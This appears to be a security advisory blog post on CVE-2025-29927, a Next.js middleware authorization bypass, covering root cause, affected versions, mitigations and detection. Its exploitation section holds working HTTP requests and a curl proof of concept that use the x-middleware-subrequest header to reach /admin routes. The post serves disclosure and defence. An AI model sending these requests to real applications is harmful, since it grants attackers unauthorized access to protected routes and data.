Post

CVE‑2025‑29927 – Next.js Middleware Authorization Bypass

CVE‑2025‑29927 is a critical vulnerability (CVSS 9.1) in Next.js that allows attackers to bypass middleware‑based security checks.

CVE‑2025‑29927 – Next.js Middleware Authorization Bypass

Overview

CVE‑2025‑29927 is a critical vulnerability (CVSS 9.1) in Next.js that allows attackers to bypass middleware‑based security checks such as authentication, access control, and redirects.

The issue affects applications deployed with next start or standalone output and occurs due to improper handling of the internal x‑middleware‑subrequest HTTP header. By crafting requests that include this header, an attacker can trick Next.js into skipping middleware execution, leading to unauthorized access to protected endpoints (e.g., /admin).


Affected Versions

The following ranges are confirmed vulnerable:

  • 11.x: from 11.1.4 up to the latest 11.x release
  • 12.x: from 12.0.0 up to 12.3.4
  • 13.x: from 13.0.0 up to 13.5.8
  • 14.x: from 14.0.0 up to 14.2.24
  • 15.x: from 15.0.0 up to 15.2.2

Root Cause – Why This Happens

Next.js uses the header x‑middleware‑subrequest internally to mark requests as subrequests initiated by middleware. This prevents infinite recursion when middleware calls endpoints that themselves invoke middleware.

However, this header was never intended to be user‑controlled. If an external client sets it manually, Next.js assumes the request is internal and skips the middleware execution entirely, resulting in a complete authorization bypass.

In Next.js 15.x, the behavior changed slightly: middleware calls are limited by a MAX_RECURSION_DEPTH of 5. But by supplying the header with 5 values, an attacker can still hit this condition and bypass the middleware.


Exploitation

1. Basic Bypass

For versions prior to v15, a single x‑middleware‑subrequest value is enough:

1
2
3
GET /admin HTTP/1.1
Host: vulnerable-site.com
x-middleware-subrequest: middleware

2. Recursive‑Depth Bypass (v15.x)

For v15.x, the attacker must include the value repeated five times to hit the recursion depth limit:

1
2
3
GET /admin HTTP/1.1
Host: vulnerable-site.com
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

cURL PoC:

1
curl -L --request GET "https://target.com/admin"      --header "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

If /admin was protected only by middleware, the attacker now gains direct access.


Impact

  • Authentication & Authorization Bypass – Direct access to protected routes (/admin, /api/private).
  • Cache Poisoning / DoS – Malformed or unauthorized responses may get cached, impacting other users.
  • Privilege Escalation – If backend logic relies solely on middleware checks, attackers may escalate privileges.

Mitigation

1. Upgrade

Upgrade to 14.2.25, 15.2.3, or later.

2. Strip the Header

If upgrading isn’t immediately possible, strip this header at the proxy or app server:

Nginx:

1
proxy_set_header x-middleware-subrequest "";

Apache:

1
RequestHeader unset x-middleware-subrequest

Express.js middleware:

1
2
3
4
app.use((req, res, next) => { 
  delete req.headers['x-middleware-subrequest']; 
  next(); 
});

3. Add Defense‑in‑Depth

Do not rely solely on middleware for authorization—enforce access checks at the API/controller level.


Detection

  • Log Analysis: Look for external requests containing the x-middleware-subrequest header.
  • WAF/IDS: Deploy updated detection rules (e.g., Snort, F5, Check Point) that block this header.

References


Takeaway

If your Next.js app uses middleware for access control and runs on next start or standalone mode — patch now. Until then, strip the x‑middleware‑subrequest header and enforce redundant authorization checks on sensitive routes.

This post is licensed under CC BY 4.0 by the author.